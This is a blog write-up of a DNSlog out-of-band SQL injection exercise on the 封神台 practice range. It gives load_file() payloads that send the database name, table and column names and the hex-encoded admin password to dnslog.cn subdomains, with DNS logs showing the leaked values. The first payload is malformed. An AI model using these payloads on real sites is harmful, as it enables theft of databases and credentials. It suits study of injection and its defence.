封神台sql靶场 dns_log 注入

原创

星星明亮 于 2021-06-25 21:48:16 发布 75 收藏

分类专栏： 封神台靶场 sql

本文链接：https://blog.csdn.net/weixin_46578840/article/details/118228979

封神台靶场 同时被 2 个专栏收录

4 篇文章 0 订阅

订阅专栏

sql

4 篇文章 0 订阅

订阅专栏

前提:目标数据库允许load_file()

```
1 and 1=1 //正常
1 and 1=2 //页面错误，存在注入
1 and 1=2 union select 1,2 # //回显位为2，由于题目要求用dnslog，那就用联合查询了
构造poyload
1 and (select load_file('//',(concat(select database()),'.xizusd.dnslog.cn/abc')))
1+and+(select+load_file(concat('//',(select+table_name+from+information_schema.tables+where+table_schema=databas
e()limit+0,1),'.pu9n3b.dnslog.cn/1.txt'))) //读表
1+and+(select+load_file(concat('//',(select+column_name+from+information_schema.columns+where+table_name='admin'
limit+0,1),'.pu9n3b.dnslog.cn/1.txt'))) //读字段
1+and+(select+load_file(concat('//',(select+hex(password)+from+admin+limit+0,1),'.pu9n3b.dnslog.cn/1.txt'))) //
读password字段第一个值
```

DNS Query Record	IP Address	Created Time
maoshe.xizusd.dnslog.cn	173.194.171.13	2021-06-25 21:31:00
maoshe.xizusd.dnslog.cn	74.125.41.69	2021-06-25 21:31:00
maoshe.xizusd.dnslog.cn	74.125.41.4	2021-06-25 21:31:00
maoshe.xizusd.dnslog.cn	59.63.230.106	2021-06-25 21:31:00

Get SubDomain Refresh Record

pu9n3b.dnslog.cn

DNS Query Record	IP Address	Created Time

news.pu9n3b.dnslog.cn	173.194.171.14	2021-06-25 21:40:54
news.pu9n3b.dnslog.cn	173.194.171.10	2021-06-25 21:40:54
news.pu9n3b.dnslog.cn	173.194.171.12	2021-06-25 21:40:54
news.pu9n3b.dnslog.cn	59.63.230.106	2021-06-25 21:40:54
admin.pu9n3b.dnslog.cn	59.63.230.106	2021-06-25 21:39:43
admin.pu9n3b.dnslog.cn	172.253.5.4	2021-06-25 21:39:43
admin.pu9n3b.dnslog.cn	172.253.4.2	2021-06-25 21:39:43
admin.pu9n3b.dnslog.cn	172.253.4.2	2021-06-25 21:39:43

字段值

pu9n3b.dnslog.cn

DNS Query Record	IP Address	Created Time
id.pu9n3b.dnslog.cn	74.125.186.204	2021-06-25 21:42:17
id.pu9n3b.dnslog.cn	59.63.230.105	2021-06-25 21:42:17
id.pu9n3b.dnslog.cn	173.194.93.11	2021-06-25 21:42:17
id.pu9n3b.dnslog.cn	74.125.186.195	2021-06-25 21:42:17
id.pu9n3b.dnslog.cn	59.63.230.105	2021-06-25 21:42:17
username.pu9n3b.dnslog.cn	59.63.230.106	2021-06-25 21:41:58

Get SubDomain Refresh Record

pu9n3b.dnslog.cn

DNS Query Record	IP Address	Created Time
31323361646D696E.pu9n3b.dnslog.cn	173.194.93.3	2021-06-25 21:46:16
31323361646D696E.pu9n3b.dnslog.cn	173.194.93.4	2021-06-25 21:46:16
31323361646D696E.pu9n3b.dnslog.cn	74.125.41.65	2021-06-25 21:46:16
31323361646d696e.pu9n3b.dnslog.cn	59.63.230.106	2021-06-25 21:46:16